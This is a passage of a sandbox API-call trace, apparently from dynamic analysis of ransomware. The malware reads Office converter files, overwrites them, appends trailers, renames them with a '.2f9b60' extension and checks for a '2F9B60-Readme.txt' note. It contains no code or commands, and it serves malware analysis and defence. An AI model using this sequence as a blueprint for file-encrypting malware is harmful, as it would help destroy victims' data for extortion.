_Dest=0x202618e6, _Format="%c%c" | out: _Dest="6e") returned 2 [0200.038] sprintf (in: _Dest=0x202618e8, _Format="%c%c" | out: _Dest="9f") returned 2 [0200.038] sprintf (in: _Dest=0x202618ea, _Format="%c%c" | out: _Dest="4b") returned 2 [0200.038] sprintf (in: _Dest=0x202618ec, _Format="%c%c" | out: _Dest="63") returned 2 [0200.038] sprintf (in: _Dest=0x202618ee, _Format="%c%c" | out: _Dest="d6") returned 2 [0200.038] sprintf (in: _Dest=0x202618f0, _Format="%c%c" | out: _Dest="04") returned 2 [0200.038] sprintf (in: _Dest=0x202618f2, _Format="%c%c" | out: _Dest="89") returned 2 [0200.039] sprintf (in: _Dest=0x202618f4, _Format="%c%c" | out: _Dest="0a") returned 2 [0200.039] sprintf (in: _Dest=0x202618f6, _Format="%c%c" | out: _Dest="5e") returned 2 [0200.039] sprintf (in: _Dest=0x202618f8, _Format="%c%c" | out: _Dest="2c") returned 2 [0200.039] sprintf (in: _Dest=0x202618fa, _Format="%c%c" | out: _Dest="ef") returned 2 [0200.039] sprintf (in: _Dest=0x202618fc, _Format="%c%c" | out: _Dest="56") returned 2 [0200.039] sprintf (in: _Dest=0x202618fe, _Format="%c%c" | out: _Dest="6a") returned 2 [0200.039] sprintf (in: _Dest=0x20261900, _Format="%c%c" | out: _Dest="c7") returned 2 [0200.039] sprintf (in: _Dest=0x20261902, _Format="%c%c" | out: _Dest="05") returned 2 [0200.039] RtlInitAnsiString (in: DestinationString=0x2412f9c8, SourceString="6f29c96e9f4b63d604890a5e2cef566ac705" | out: DestinationString="6f29c96e9f4b63d604890a5e2cef566ac705") [0200.039] RtlAnsiStringToUnicodeString (in: DestinationString=0x2412f998, SourceString="6f29c96e9f4b63d604890a5e2cef566ac705", AllocateDestinationString=1 | out: DestinationString="6f29c96e9f4b63d604890a5e2cef566ac705") returned 0x0 [0200.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858bb0 [0200.040] wcscat (in: _Dest=0x431e3760, _Source="6f29c96e9" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\6f29c96e9") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\6f29c96e9" [0200.040] wcscat (in: _Dest=0x431e3760, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\6f29c96e9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\6f29c96e9.2f9b60" [0200.040] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\6f29c96e9.2f9b60", NtPathName=0x2412f970, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\6f29c96e9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0200.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb0) returned 0x431ecba0 [0222.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431ecba0) returned 1 [0222.811] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309ebb0) returned 1 [0222.811] NtQueryInformationFile (in: FileHandle=0xfdc, IoStatusBlock=0x2412f9d8, FileInformation=0x2412f9e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2412f9d8, FileInformation=0x2412f9e8) returned 0x0 [0222.811] NtSetInformationFile (FileHandle=0xfdc, IoStatusBlock=0x2412f9d8, FileInformation=0x2412f9e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0225.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431e3760) returned 1 [0225.091] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858bb0) returned 1 [0225.091] FlushFileBuffers (hFile=0xfdc) returned 1 [0225.130] CloseHandle (hObject=0xfdc) returned 1 [0226.315] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x20509030 [0226.316] wcscpy (in: _Dest=0x20509030, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0226.316] wcscat (in: _Dest=0x20509030, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" [0226.316] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\2f9b60-readme.txt")) returned 0x20 [0226.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20509030) returned 1 [0226.317] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5a90) returned 1 Thread: id = 1656 os_tid = 0x1b64 [0126.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae")) returned 0x20 [0126.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE", dwFileAttributes=0x20) returned 1 [0126.410] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\DELIMR.FAE" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\delimr.fae"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1550 [0126.411] GetFileSizeEx (in: hFile=0x1550, lpFileSize=0x2222f720 | out: lpFileSize=0x2222f720*=10144) returned 1 [0126.411] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x279c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.411] ReadFile (in: hFile=0x1550, lpBuffer=0x2222f6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2222f6e8, lpOverlapped=0x0 | out: lpBuffer=0x2222f6a0*, lpNumberOfBytesRead=0x2222f6e8*=0x4, lpOverlapped=0x0) returned 1 [0126.481] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.481] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0b0 [0126.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85acc0 [0126.482] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b320 [0126.482] NtQuerySystemTime (in: CurrentTime=0x2222f5e0 | out: CurrentTime=0x2222f5e0*=132462177317494000) returned 0x0 [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x37ed943d [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x9945ada [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x44c92cc0 [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x7df44152 [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x29dada3a [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x36e93adf [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0xd08a55e [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0xec180db [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x57c03853 [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x44c92cc0 [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x53daab5a [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x3462d485 [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x43aa699f [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x39606704 [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x563e9b3a [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x5b360d5a [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x7cdbbb53 [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x4e41023f [0126.482] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x6bb2060f [0126.483] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x638bbd67 [0126.483] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x16650711 [0126.483] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x7fa0a3be [0126.483] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x7409d3c9 [0126.483] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x10659f29 [0126.483] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x7dd3a939 [0126.483] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0xf474de6 [0126.483] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x271e19b0 [0126.483] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x7c727df6 [0126.483] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x1e3e6d6e [0126.483] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x643857c6 [0126.483] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0xe7708f [0126.483] RtlRandomEx (in: Seed=0x2222f5d0 | out: Seed=0x2222f5d0) returned 0x7c727df6 [0126.492] ReadFile (in: hFile=0x1550, lpBuffer=0x41d4c1b0, nNumberOfBytesToRead=0x27a0, lpNumberOfBytesRead=0x2222f5d0, lpOverlapped=0x0 | out: lpBuffer=0x41d4c1b0*, lpNumberOfBytesRead=0x2222f5d0*=0x27a0, lpOverlapped=0x0) returned 1 [0126.561] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.561] WriteFile (hFile=0x1550, lpBuffer=0x41d485a0, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x2222f5d4, lpOverlapped=0x0) [0171.038] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b5c0 [0171.039] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b680 [0171.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b680) returned 1 [0171.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d485a0) returned 1 [0171.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d4c1b0) returned 1 [0171.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8670c0) returned 1 [0171.039] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059dd0) returned 1 [0171.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82b680 [0171.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059dd0 [0171.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8670c0 [0171.040] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0171.041] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b3b0) returned 1 [0171.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1b82b3b0 [0171.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0171.041] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a6f0 [0171.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a6f0) returned 1 [0171.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8670c0) returned 1 [0171.042] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059dd0) returned 1 [0171.042] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x106) returned 0x42c164d0 [0171.043] SetFilePointerEx (in: hFile=0x1550, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0171.043] WriteFile (in: hFile=0x1550, lpBuffer=0x42c164d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x2222f6f0, lpOverlapped=0x0 | out: lpBuffer=0x42c164d0*, lpNumberOfBytesWritten=0x2222f6f0*=0x106, lpOverlapped=0x0) returned 1 [0201.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c740 [0201.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0201.514] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df60 [0201.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050df60) returned 1 [0201.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x431f8740 [0201.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050df60 [0201.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e020 [0201.516] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e020) returned 1 [0201.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0201.517] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c740) returned 1 [0201.517] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1b7aa7a0 [0201.517] sprintf (in: _Dest=0x1b7aa7a0, _Format="%c%c" | out: _Dest="70") returned 2 [0201.517] sprintf (in: _Dest=0x1b7aa7a2, _Format="%c%c" | out: _Dest="02") returned 2 [0201.517] sprintf (in: _Dest=0x1b7aa7a4, _Format="%c%c" | out: _Dest="e3") returned 2 [0201.517] sprintf (in: _Dest=0x1b7aa7a6, _Format="%c%c" | out: _Dest="67") returned 2 [0201.517] sprintf (in: _Dest=0x1b7aa7a8, _Format="%c%c" | out: _Dest="6e") returned 2 [0201.517] sprintf (in: _Dest=0x1b7aa7aa, _Format="%c%c" | out: _Dest="8e") returned 2 [0201.517] sprintf (in: _Dest=0x1b7aa7ac, _Format="%c%c" | out: _Dest="25") returned 2 [0201.517] sprintf (in: _Dest=0x1b7aa7ae, _Format="%c%c" | out: _Dest="40") returned 2 [0201.517] sprintf (in: _Dest=0x1b7aa7b0, _Format="%c%c" | out: _Dest="3c") returned 2 [0201.518] sprintf (in: _Dest=0x1b7aa7b2, _Format="%c%c" | out: _Dest="54") returned 2 [0201.518] sprintf (in: _Dest=0x1b7aa7b4, _Format="%c%c" | out: _Dest="f3") returned 2 [0201.518] sprintf (in: _Dest=0x1b7aa7b6, _Format="%c%c" | out: _Dest="2f") returned 2 [0201.518] sprintf (in: _Dest=0x1b7aa7b8, _Format="%c%c" | out: _Dest="80") returned 2 [0201.518] sprintf (in: _Dest=0x1b7aa7ba, _Format="%c%c" | out: _Dest="b7") returned 2 [0201.518] sprintf (in: _Dest=0x1b7aa7bc, _Format="%c%c" | out: _Dest="57") returned 2 [0201.518] sprintf (in: _Dest=0x1b7aa7be, _Format="%c%c" | out: _Dest="fb") returned 2 [0201.518] sprintf (in: _Dest=0x1b7aa7c0, _Format="%c%c" | out: _Dest="b2") returned 2 [0201.518] sprintf (in: _Dest=0x1b7aa7c2, _Format="%c%c" | out: _Dest="9b") returned 2 [0201.518] sprintf (in: _Dest=0x1b7aa7c4, _Format="%c%c" | out: _Dest="be") returned 2 [0201.518] sprintf (in: _Dest=0x1b7aa7c6, _Format="%c%c" | out: _Dest="6b") returned 2 [0201.518] RtlInitAnsiString (in: DestinationString=0x2222f768, SourceString="7002e3676e8e25403c54f32f80b757fbb29bbe6b" | out: DestinationString="7002e3676e8e25403c54f32f80b757fbb29bbe6b") [0201.518] RtlAnsiStringToUnicodeString (in: DestinationString=0x2222f738, SourceString="7002e3676e8e25403c54f32f80b757fbb29bbe6b", AllocateDestinationString=1 | out: DestinationString="7002e3676e8e25403c54f32f80b757fbb29bbe6b") returned 0x0 [0201.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9d970 [0201.519] wcscat (in: _Dest=0x43196b80, _Source="7002e3676e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\7002e3676e") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\7002e3676e" [0201.519] wcscat (in: _Dest=0x43196b80, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\7002e3676e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\7002e3676e.2f9b60" [0201.519] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\7002e3676e.2f9b60", NtPathName=0x2222f710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\7002e3676e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x4314baa0 [0216.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314baa0) returned 1 [0216.611] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43209b10) returned 1 [0216.611] NtQueryInformationFile (in: FileHandle=0x1550, IoStatusBlock=0x2222f778, FileInformation=0x2222f788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2222f778, FileInformation=0x2222f788) returned 0x0 [0216.612] NtSetInformationFile (FileHandle=0x1550, IoStatusBlock=0x2222f778, FileInformation=0x2222f788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.808] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43196b80) returned 1 [0222.809] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9d970) returned 1 [0222.809] FlushFileBuffers (hFile=0x1550) returned 1 [0223.997] CloseHandle (hObject=0x1550) returned 1 [0224.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x20508590 [0224.988] wcscpy (in: _Dest=0x20508590, _Source="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\" [0224.988] wcscat (in: _Dest=0x20508590, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" [0224.988] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\2f9b60-readme.txt")) returned 0x20 [0224.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508590) returned 1 [0224.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d140) returned 1 Thread: id = 1657 os_tid = 0x1b68 [0126.413] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam")) returned 0x20 [0126.414] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM", dwFileAttributes=0x20) returned 1 [0126.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\ODBCR.SAM" (normalized: "c:\\program files\\microsoft office\\office14\\convert\\1033\\odbcr.sam"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xe50 [0126.414] GetFileSizeEx (in: hFile=0xe50, lpFileSize=0x2451fb40 | out: lpFileSize=0x2451fb40*=11664) returned 1 [0126.415] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x2d8c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.415] ReadFile (in: hFile=0xe50, lpBuffer=0x2451fac0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2451fb08, lpOverlapped=0x0 | out: lpBuffer=0x2451fac0*, lpNumberOfBytesRead=0x2451fb08*=0x4, lpOverlapped=0x0) returned 1 [0126.519] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85b0b0 [0126.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859df0 [0126.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85afc0 [0126.520] NtQuerySystemTime (in: CurrentTime=0x2451fa00 | out: CurrentTime=0x2451fa00*=132462177317962000) returned 0x0 [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x7c9d663e [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x5f826dcb [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x12c622 [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x415026ae [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0xe7708f [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x741ef52e [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x3f1c0e8c [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x1b4f2f8 [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x19a37235 [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x4a6e82d1 [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x6aaff6e3 [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x404f2faa [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x72dc8f50 [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x7d504e8f [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x250da1ab [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x6b47c56 [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x1283e548 [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x4216f4a2 [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x74f41b7 [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x5c700f85 [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x8573500 [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x3597101f [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x5a71ebf [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x2782edc6 [0126.520] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x2ce4e70c [0126.521] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x547c09e1 [0126.521] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x5a467f95 [0126.521] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x16fa3b49 [0126.521] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0xb691ced [0126.521] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x2772049 [0126.521] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x61af2fc5 [0126.521] RtlRandomEx (in: Seed=0x2451f9f0 | out: Seed=0x2451f9f0) returned 0x576917be [0126.529] ReadFile (in: hFile=0xe50, lpBuffer=0x41d1f0f0, nNumberOfBytesToRead=0x2d90, lpNumberOfBytesRead=0x2451f9f0, lpOverlapped=0x0 | out: lpBuffer=0x41d1f0f0*, lpNumberOfBytesRead=0x2451f9f0*=0x2d90, lpOverlapped=0x0) returned 1 [0126.562] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.562] WriteFile (in: hFile=0xe50, lpBuffer=0x41d2a520*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x2451f9f4, lpOverlapped=0x0 | out: lpBuffer=0x41d2a520*, lpNumberOfBytesWritten=0x2451f9f4*=0x2d90, lpOverlapped=0x0) returned 1 [0126.584] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85afc0 [0126.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859b20 [0126.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859b20) returned 1 [0126.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d2a520) returned 1 [0126.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41d1f0f0) returned 1 [0126.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867a40) returned 1 [0126.586] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0126.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859b20 [0126.587] SetFilePointerEx (in: hFile=0xe50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0126.587] WriteFile (in: hFile=0xe50, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2451fb10, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x2451fb10*=0x104, lpOverlapped=0x0) returned 1 [0126.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059c40 [0126.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867a40 [0126.588] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fbb0 [0126.588] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85fbb0) returned 1 [0126.588] 